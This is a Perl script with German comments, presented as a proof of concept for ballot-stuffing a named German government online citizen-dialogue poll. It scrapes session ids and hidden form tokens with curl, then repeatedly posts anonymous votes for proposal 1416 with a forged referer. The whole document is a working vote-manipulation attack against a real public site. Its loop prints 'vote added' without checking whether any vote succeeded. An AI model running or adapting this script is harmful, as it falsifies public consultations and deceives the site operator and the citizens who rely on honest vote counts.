Proof of Concept für automatisiertes anonymes Mehrfach-Votin

#!/usr/bin/env perl
#
# Proof of Concept für automatisiertes anonymes Mehrfach-Voting auf https://www.dialog-ueber-deutschland.de/
# votet für Vorschlag 1416: Open Source statt schlechter Software
# (https://www.dialog-ueber-deutschland.de/ql?cms_idIdea=1416)
#
# Bitte nur als Proof-of-Concept auf den angegeben Vorschlag anwenden und keine anderen Votings manipulieren!
#
# Kommandozeilenoption nimmt die Anzahl der Votes auf
#
#

use strict;
use warnings;

my $nOVotes =    $ARGV[0];
#print $nOVotes . "\n";

my $url = "https://www.dialog-ueber-deutschland.de/DE/20-Vorschlaege/20-Wovon-Leben/Einzelansicht/vorschlaege_einzelansicht_node.html%3Fcms_idIdea=1416";

my $curlString = "-# $url";


for (my $i=0;$i<=$nOVotes;$i++){

my $serverResponse = `curl $curlString`;
#print "\n$serverResponse\n\n";

my $beginFormIndex = index($serverResponse, '<form name="abstimmen"');
my $endFormIndex =   index($serverResponse, '</form>', $beginFormIndex);

$serverResponse = substr($serverResponse, $beginFormIndex, $endFormIndex - $beginFormIndex);
#print "\n$serverResponse\n\n";

$serverResponse =~ /name="abstimmen" action="SiteGlobals\/Forms\/Vorschlaege\/vorschlag_abstimmung_formular.html;jsessionid=([^"]*)"/;
my $jsessionid = $1;
#print "$jsessionid\n";

$serverResponse =~ /name="nn" value="([^"]*)"/;
my $nn = $1;
#print "$nn\n";

$serverResponse =~ /name="resourceId" value="([^"]*)"/;
my $resourceId = $1;
#print "$resourceId\n";

$serverResponse =~ /name="input_" value="([^"]*)"/;
my $input_ = $1;
#print "$input_\n";

$serverResponse =~ /name="idIdea.HASH" value="([^"]*)"/;
my $idIdeaHASH = $1;
#print "$idIdeaHASH\n";

my $referer = $url;
#print "$referer\n";

$url = "https://www.dialog-ueber-deutschland.de/SiteGlobals/Forms/Vorschlaege/vorschlag_abstimmung_formular.html%3Bjsessionid=$jsessionid";
#print "$url\n";

$curlString = "-# -d nn=$nn -d resourceId=$resourceId -d input_=$input_ -d pageLocale=de -d idIdea=1416 -d idIdea.HASH=$idIdeaHASH -d submit.x=133 -d submit.y=25 --referer $referer $url";
# $curlString = "--data nn=$nn%26resourceId=$resourceId%26input_=$input_%26pageLocale=de%26idIdea=$idIdea%26idIdea.HASH=$idIdeaHASH%26submit.x=133%26submit.y=25 --referer $referer $url";
#print "$curlString\n";

print "vote $i added\n";

}